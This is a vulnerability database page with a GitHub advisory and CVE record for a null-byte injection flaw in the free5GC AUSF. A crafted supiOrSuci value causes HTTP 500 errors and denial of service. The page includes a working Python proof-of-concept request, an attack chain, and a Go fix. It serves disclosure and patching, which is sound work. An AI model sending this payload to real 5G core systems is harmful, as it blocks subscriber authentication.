Vulnerability-Lookup

GHSA-QJ55-47FP-P62J

Vulnerability from github – Published: 2026-07-31 20:13 – Updated: 2026-07-31 20:13

Summary

free5GC AUSF: null byte injection in supiOrSuci causes HTTP 500 internal service failure

Details

Summary

The free5GC AUSF (Authentication Server Function) does not validate the supiOrSuci field in UE authentication requests. Null bytes (\x00) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's net/url.Parse() to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale—4.1% of special_chars mutations produce HTTP 500—causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation).

Details

The vulnerability lies in the AUSF's POST /nausf-auth/v1/ue-authentications handler. The JSON body includes a supiOrSuci field:

{"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"}

The AUSF parses this JSON (Go's encoding/json accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw supiOrSuci value:

GET /nudm-ueau/v1/{supiOrSuci}/security-information/...

When supiOrSuci contains null bytes (\x00), the resulting URL is illegal under RFC 3986. Go's net/url.Parse() fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body:

{"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}}

The AUSF container log shows: net/url: invalid control character in URL.

Attack chain:

1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...}
2. AUSF: JSON parsed OK (null bytes valid in JSON strings)
3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/...
4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986)
5. AUSF ← UDM: error
6. Attacker ← AUSF: HTTP 500 {"message": "System failure"}

Contrast with C/C++ 5GCs: The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error—the service survives, but the denial is equally effective.

Discovery context: Found via automated 5G SBI fuzzing. The special_chars mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing:

Strategy	Requests	HTTP 500s	Trigger Rate
`special_chars`	98,304	4,021	4.1%
`seed_replay`	132,428	7,947	6.0%
`grammar_aware`	30,944	683	2.2%

100% of HTTP 500s originated from the POST /nausf-auth/v1/ue-authentications endpoint.

PoC

No configuration changes needed. Default free5GC deployment is vulnerable.

#!/usr/bin/env python3
import http.client, json

AUSF_HOST = "127.0.0.1"   # Replace with AUSF IP (e.g. 172.24.0.50)
AUSF_PORT = 8000

# Bug: null bytes in supiOrSuci → HTTP 500
body_bug = json.dumps({
    "supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn.request("POST", "/nausf-auth/v1/ue-authentications",
             body=body_bug, headers={"Content-Type": "application/json"})
resp = conn.getresponse()
print(f"Bug:    Status {resp.status}")   # Returns 500

# Contrast: normal SUCI → 404 (expected, UE not found)
body_normal = json.dumps({
    "supiOrSuci": "imsi-208930000000031",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn2.request("POST", "/nausf-auth/v1/ue-authentications",
              body=body_normal, headers={"Content-Type": "application/json"})
resp2 = conn2.getresponse()
print(f"Normal: Status {resp2.status}")  # Returns 404

Run: python3 reproduce.py

Expected fix (input validation + URL escaping):

import "regexp"
import "net/url"

var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`)

func validateSUCI(supiOrSuci string) error {
    if strings.ContainsFunc(supiOrSuci, func(r rune) bool {
        return r < 0x20 || r > 0x7e
    }) {
        return fmt.Errorf("SUCI contains illegal characters")
    }
    return nil
}

// URL-escape before constructing UDM request
udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...",
    udmAddr, url.PathEscape(supiOrSuci))

Impact

Property	Value
Authentication	None required (unauthenticated SBI endpoint)
Impact	Denial of Service — AUSF returns HTTP 500 for all authentication requests during attack
Information Leak	HTTP 500 response leaks internal `net/url.Parse` error, enabling backend fingerprinting
Affected version	free5GC v4.2.2 (latest)
Fix	Validate `supiOrSuci` before URL construction; use `url.PathEscape()`

Environment: Ubuntu 22.04, kernel 6.8.0-110, free5GC Docker containers on bridge network 172.24.0.0/16. NFs deployed: NRF, UDM, UDR, AUSF, AMF, SMF, PCF, NSSF, MongoDB.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/free5gc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/ausf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53551"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T20:13:11Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe free5GC AUSF (Authentication Server Function) does not validate the `supiOrSuci` field in UE authentication requests. Null bytes (`\\x00`) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go\u0027s `net/url.Parse()` to fail, returning HTTP 500 \"System failure\" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale\u20144.1% of `special_chars` mutations produce HTTP 500\u2014causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation).\n\n---\n\n### Details\n\nThe vulnerability lies in the AUSF\u0027s `POST /nausf-auth/v1/ue-authentications` handler. The JSON body includes a `supiOrSuci` field:\n\n```json\n{\"supiOrSuci\": \"imsi-208930000000031\", \"servingNetworkName\": \"...\", \"authType\": \"5G_AKA\"}\n```\n\nThe AUSF parses this JSON (Go\u0027s `encoding/json` accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw `supiOrSuci` value:\n\n```\nGET /nudm-ueau/v1/{supiOrSuci}/security-information/...\n```\n\nWhen `supiOrSuci` contains null bytes (`\\x00`), the resulting URL is illegal under RFC 3986. Go\u0027s `net/url.Parse()` fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body:\n\n```\n{\"error\":{\"status\":\"INTERNAL_SERVER_ERROR\",\"message\":\"System failure\"}}\n```\n\nThe AUSF container log shows: `net/url: invalid control character in URL`.\n\n**Attack chain:**\n```\n1. Attacker \u2192 AUSF: POST {\"supiOrSuci\": \"imsi-\\x00...\", ...}\n2. AUSF: JSON parsed OK (null bytes valid in JSON strings)\n3. AUSF \u2192 UDM: GET /nudm-ueau/v1/imsi-\\x00.../security-information/...\n4. UDM: net/url.Parse() fails (\\x00 illegal per RFC 3986)\n5. AUSF \u2190 UDM: error\n6. Attacker \u2190 AUSF: HTTP 500 {\"message\": \"System failure\"}\n```\n\n**Contrast with C/C++ 5GCs:** The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but \"only\" HTTP 500 in free5GC (Go). Go\u0027s memory safety converts the crash into a recoverable error\u2014the service survives, but the denial is equally effective.\n\n**Discovery context:** Found via automated 5G SBI fuzzing. The `special_chars` mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing:\n\n| Strategy | Requests | HTTP 500s | Trigger Rate |\n|----------|----------|-----------|-------------|\n| `special_chars` | 98,304 | 4,021 | 4.1% |\n| `seed_replay` | 132,428 | 7,947 | 6.0% |\n| `grammar_aware` | 30,944 | 683 | 2.2% |\n\n100% of HTTP 500s originated from the `POST /nausf-auth/v1/ue-authentications` endpoint.\n\n### PoC\n\n**No configuration changes needed.** Default free5GC deployment is vulnerable.\n\n```python\n#!/usr/bin/env python3\nimport http.client, json\n\nAUSF_HOST = \"127.0.0.1\"   # Replace with AUSF IP (e.g. 172.24.0.50)\nAUSF_PORT = 8000\n\n# Bug: null bytes in supiOrSuci \u2192 HTTP 500\nbody_bug = json.dumps({\n    \"supiOrSuci\": \"imsi-\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\",\n    \"servingNetworkName\": \"5G:mnc093.mcc208.3gppnetwork.org\",\n    \"authType\": \"5G_AKA\"\n})\n\nconn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)\nconn.request(\"POST\", \"/nausf-auth/v1/ue-authentications\",\n             body=body_bug, headers={\"Content-Type\": \"application/json\"})\nresp = conn.getresponse()\nprint(f\"Bug:    Status {resp.status}\")   # Returns 500\n\n# Contrast: normal SUCI \u2192 404 (expected, UE not found)\nbody_normal = json.dumps({\n    \"supiOrSuci\": \"imsi-208930000000031\",\n    \"servingNetworkName\": \"5G:mnc093.mcc208.3gppnetwork.org\",\n    \"authType\": \"5G_AKA\"\n})\n\nconn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)\nconn2.request(\"POST\", \"/nausf-auth/v1/ue-authentications\",\n              body=body_normal, headers={\"Content-Type\": \"application/json\"})\nresp2 = conn2.getresponse()\nprint(f\"Normal: Status {resp2.status}\")  # Returns 404\n```\n\n**Run:** `python3 reproduce.py`\n\n**Expected fix (input validation + URL escaping):**\n```go\nimport \"regexp\"\nimport \"net/url\"\n\nvar suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\\-]+$`)\n\nfunc validateSUCI(supiOrSuci string) error {\n    if strings.ContainsFunc(supiOrSuci, func(r rune) bool {\n        return r \u003c 0x20 || r \u003e 0x7e\n    }) {\n        return fmt.Errorf(\"SUCI contains illegal characters\")\n    }\n    return nil\n}\n\n// URL-escape before constructing UDM request\nudmURL := fmt.Sprintf(\"http://%s/nudm-ueau/v1/%s/security-information/...\",\n    udmAddr, url.PathEscape(supiOrSuci))\n```\n\n### Impact\n\n| Property | Value |\n|----------|-------|\n| **Authentication** | None required (unauthenticated SBI endpoint) |\n| **Impact** | Denial of Service \u2014 AUSF returns HTTP 500 for all authentication requests during attack |\n| **Information Leak** | HTTP 500 response leaks internal `net/url.Parse` error, enabling backend fingerprinting |\n| **Affected version** | free5GC v4.2.2 (latest) |\n| **Fix** | Validate `supiOrSuci` before URL construction; use `url.PathEscape()` |\n\n\n**Environment:** Ubuntu 22.04, kernel 6.8.0-110, free5GC Docker containers on bridge network 172.24.0.0/16. NFs deployed: NRF, UDM, UDR, AUSF, AMF, SMF, PCF, NSSF, MongoDB.",
  "id": "GHSA-qj55-47fp-p62j",
  "modified": "2026-07-31T20:13:11Z",
  "published": "2026-07-31T20:13:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-qj55-47fp-p62j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/1048"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/ausf/pull/61"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/ausf/commit/bfc4a10094dbacbd862baa4686829f3fcc06ce1e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/ausf/releases/tag/v1.4.5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/releases/tag/v4.2.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "free5GC AUSF: null byte injection in supiOrSuci causes HTTP 500 internal service failure"
}

CVE-2026-53551 (GCVE-0-2026-53551)

Vulnerability from cvelistv5 – Published: 2026-07-31 20:12 – Updated: 2026-07-31 20:12

Title

free5GC AUSF: null byte injection in supiOrSuci causes HTTP 500 internal service failure

Summary

free5GC is an open-source implementation of the 5G core network. Prior to 1.4.5, the free5GC AUSF (Authentication Server Function) does not validate the supiOrSuci field in UE authentication requests. Null bytes (\x00) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's net/url.Parse() to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale causing denial of service for all subscribers attempting authentication through the affected AUSF. This vulnerability is fixed in 1.4.5.

Severity

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

CWE

CWE-20 - Improper Input Validation

Assigner

GitHub_M

References

6 references

URL	Tags
https://github.com/free5gc/free5gc/security/advis…	x_refsource_CONFIRM
https://github.com/free5gc/free5gc/issues/1048	x_refsource_MISC
https://github.com/free5gc/ausf/pull/61	x_refsource_MISC
https://github.com/free5gc/ausf/commit/bfc4a10094…	x_refsource_MISC
https://github.com/free5gc/ausf/releases/tag/v1.4.5	x_refsource_MISC
https://github.com/free5gc/free5gc/releases/tag/v4.2.2	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version
free5gc	free5gc	Affected: < 4.2.2
free5gc	ausf	Affected: < 1.4.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "free5gc",
          "vendor": "free5gc",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.2.2"
            }
          ]
        },
        {
          "product": "ausf",
          "vendor": "free5gc",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.4.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "free5GC is an open-source implementation of the 5G core network. Prior to 1.4.5, the free5GC AUSF (Authentication Server Function) does not validate the supiOrSuci field in UE authentication requests. Null bytes (\\x00) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go\u0027s net/url.Parse() to fail, returning HTTP 500 \"System failure\" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale causing denial of service for all subscribers attempting authentication through the affected AUSF. This vulnerability is fixed in 1.4.5."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20: Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-31T20:12:57.932Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/free5gc/free5gc/security/advisories/GHSA-qj55-47fp-p62j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-qj55-47fp-p62j"
        },
        {
          "name": "https://github.com/free5gc/free5gc/issues/1048",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/free5gc/free5gc/issues/1048"
        },
        {
          "name": "https://github.com/free5gc/ausf/pull/61",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/free5gc/ausf/pull/61"
        },
        {
          "name": "https://github.com/free5gc/ausf/commit/bfc4a10094dbacbd862baa4686829f3fcc06ce1e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/free5gc/ausf/commit/bfc4a10094dbacbd862baa4686829f3fcc06ce1e"
        },
        {
          "name": "https://github.com/free5gc/ausf/releases/tag/v1.4.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/free5gc/ausf/releases/tag/v1.4.5"
        },
        {
          "name": "https://github.com/free5gc/free5gc/releases/tag/v4.2.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/free5gc/free5gc/releases/tag/v4.2.2"
        }
      ],
      "source": {
        "advisory": "GHSA-qj55-47fp-p62j",
        "discovery": "UNKNOWN"
      },
      "title": "free5GC AUSF: null byte injection in supiOrSuci causes HTTP 500 internal service failure"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-53551",
    "datePublished": "2026-07-31T20:12:57.932Z",
    "dateReserved": "2026-06-09T18:13:07.263Z",
    "dateUpdated": "2026-07-31T20:12:57.932Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-QJ55-47FP-P62J

Summary

Details

PoC

Impact

CVE-2026-53551 (GCVE-0-2026-53551)

Tags

Sightings

Nomenclature